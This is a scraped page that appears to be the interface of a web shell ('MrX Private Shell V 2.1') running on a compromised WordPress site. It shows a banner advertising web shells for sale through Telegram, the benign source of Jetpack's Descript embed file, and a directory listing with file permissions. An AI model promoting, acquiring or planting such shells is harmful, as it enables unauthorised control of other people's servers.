__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Descript.com embed
*
* Example URL: https://share.descript.com/view/jUxUmel6GyN
* Example embed code: <iframe src="https://share.descript.com/embed/jUxUmel6GyN" width="640" height="360" frameborder="0" allowfullscreen></iframe>
*
* @package automattic/jetpack
*/
if ( defined( 'IS_WPCOM' ) && IS_WPCOM ) {
add_action( 'init', 'jetpack_descript_enable_embeds' );
} else {
jetpack_descript_enable_embeds();
}
/**
* Register descript as oembed provider. Add filter to reverse iframes to shortcode. Register [descript] shortcode.
*
* @since 10.4
*/
function jetpack_descript_enable_embeds() {
// Support their oEmbed Endpoint.
wp_oembed_add_provider( '#https?://share.descript.com/(?:view|embed)/\w+#i', 'https://api.descript.com/v2/oembed', true );
// Allow script to be filtered to short code (so direct copy+paste can be done).
add_filter( 'pre_kses', 'jetpack_shortcodereverse_descript' );
// Actually display the descript Embed.
add_shortcode( 'descript', 'jetpack_descript_shortcode' );
}
/**
* Compose shortcode based on Descript iframes.
*
* @since 10.4
*
* @param string $content Post content.
*
* @return mixed
*/
function jetpack_shortcodereverse_descript( $content ) {
if ( ! is_string( $content ) || false === stripos( $content, 'share.descript.com' ) ) {
return $content;
}
$regexp = '/<iframe (?:loading="lazy" )?src="https:\/\/share.descript.com\/embed\/(\w+)" width="(\d+)" height="(\d+)" frameborder="0" allowfullscreen(?:="")?><\/iframe>/i';
if ( preg_match_all( $regexp, $content, $matches, PREG_SET_ORDER ) ) {
foreach ( $matches as $match ) {
// We need at least a id.
if ( isset( $match[1] ) ) {
$shortcode = sprintf(
'[descript id="%1$s" width="%2$s" height="%3$s"]',
esc_attr( $match[1] ),
esc_attr( $match[2] ),
esc_attr( $match[3] )
);
$content = str_replace( $match[0], $shortcode, $content );
}
}
}
/** This action is documented in modules/widgets/social-media-icons.php */
do_action( 'jetpack_bump_stats_extras', 'html_to_shortcode', 'descript' );
return $content;
}
/**
* Parse shortcode arguments and render its output.
*
* @since 10.4
*
* @param array $atts Shortcode parameters.
*
* @return string
*/
function jetpack_descript_shortcode( $atts ) {
if ( ! empty( $atts['id'] ) ) {
$id = $atts['id'];
} else {
return '<!-- Missing descript id -->';
}
if ( ! empty( $atts['width'] ) ) {
$width = $atts['width'];
} else {
$width = '640';
}
if ( ! empty( $atts['height'] ) ) {
$height = $atts['height'];
} else {
$height = '480';
}
$params = array(
'id' => esc_attr( $id ),
'width' => (int) $width,
'height' => (int) $height,
);
$embed_url = sprintf(
'https://share.descript.com/view/%1$s',
esc_attr( $id )
);
$embed_code = wp_oembed_get( $embed_url, array_filter( $params ) );
// wrap the embed with wp-block-embed__wrapper, otherwise it would be aligned to the very left of the viewport.
return sprintf(
'<div class="wp-block-embed__wrapper">%1$s</div>',
$embed_code
);
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| css | Folder | 0755 |
|
|
| images | Folder | 0755 |
|
|
| img | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| archiveorg-book.php | File | 3.31 KB | 0644 |
|
| archiveorg.php | File | 3.92 KB | 0644 |
|
| archives.php | File | 2.38 KB | 0644 |
|
| bandcamp.php | File | 7.75 KB | 0644 |
|
| brightcove.php | File | 8.77 KB | 0644 |
|
| cartodb.php | File | 803 B | 0644 |
|
| class.filter-embedded-html-objects.php | File | 13.01 KB | 0644 |
|
| codepen.php | File | 265 B | 0644 |
|
| crowdsignal.php | File | 21.6 KB | 0644 |
|
| dailymotion.php | File | 15.27 KB | 0644 |
|
| descript.php | File | 3 KB | 0644 |
|
| facebook.php | File | 4.41 KB | 0644 |
|
| flatio.php | File | 383 B | 0644 |
|
| flickr.php | File | 9.29 KB | 0644 |
|
| getty.php | File | 7.54 KB | 0644 |
|
| gist.php | File | 8.31 KB | 0644 |
|
| googleapps.php | File | 9.84 KB | 0644 |
|
| googlemaps.php | File | 7.97 KB | 0644 |
|
| googleplus.php | File | 1.03 KB | 0644 |
|
| gravatar.php | File | 6.13 KB | 0644 |
|
| houzz.php | File | 920 B | 0644 |
|
| inline-pdfs.php | File | 1.14 KB | 0644 |
|
| instagram.php | File | 14.5 KB | 0644 |
|
| kickstarter.php | File | 2.39 KB | 0644 |
|
| mailchimp.php | File | 7.03 KB | 0644 |
|
| medium.php | File | 3.22 KB | 0644 |
|
| mixcloud.php | File | 3.62 KB | 0644 |
|
| others.php | File | 2.04 KB | 0644 |
|
| pinterest.php | File | 1.79 KB | 0644 |
|
| presentations.php | File | 14.53 KB | 0644 |
|
| quiz.php | File | 9.16 KB | 0644 |
|
| recipe.php | File | 18.95 KB | 0644 |
|
| scribd.php | File | 2.45 KB | 0644 |
|
| sitemap.php | File | 562 B | 0644 |
|
| slideshare.php | File | 3.81 KB | 0644 |
|
| slideshow.php | File | 8.93 KB | 0644 |
|
| smartframe.php | File | 3.64 KB | 0644 |
|
| soundcloud.php | File | 8.68 KB | 0644 |
|
| spotify.php | File | 3.21 KB | 0644 |
|
| ted.php | File | 3.35 KB | 0644 |
|
| tweet.php | File | 5.03 KB | 0644 |
|
| twitchtv.php | File | 2.63 KB | 0644 |
|
| twitter-timeline.php | File | 1.93 KB | 0644 |
|
| unavailable.php | File | 3.24 KB | 0644 |
|
| untappd-menu.php | File | 2.41 KB | 0644 |
|
| upcoming-events.php | File | 1.68 KB | 0644 |
|
| ustream.php | File | 3.13 KB | 0644 |
|
| videopress.php | File | 423 B | 0644 |
|
| vimeo.php | File | 11.13 KB | 0644 |
|
| vine.php | File | 2.61 KB | 0644 |
|
| vr.php | File | 4.92 KB | 0644 |
|
| wordads.php | File | 1.81 KB | 0644 |
|
| wufoo.php | File | 3.38 KB | 0644 |
|
| youtube.php | File | 20.54 KB | 0644 |
|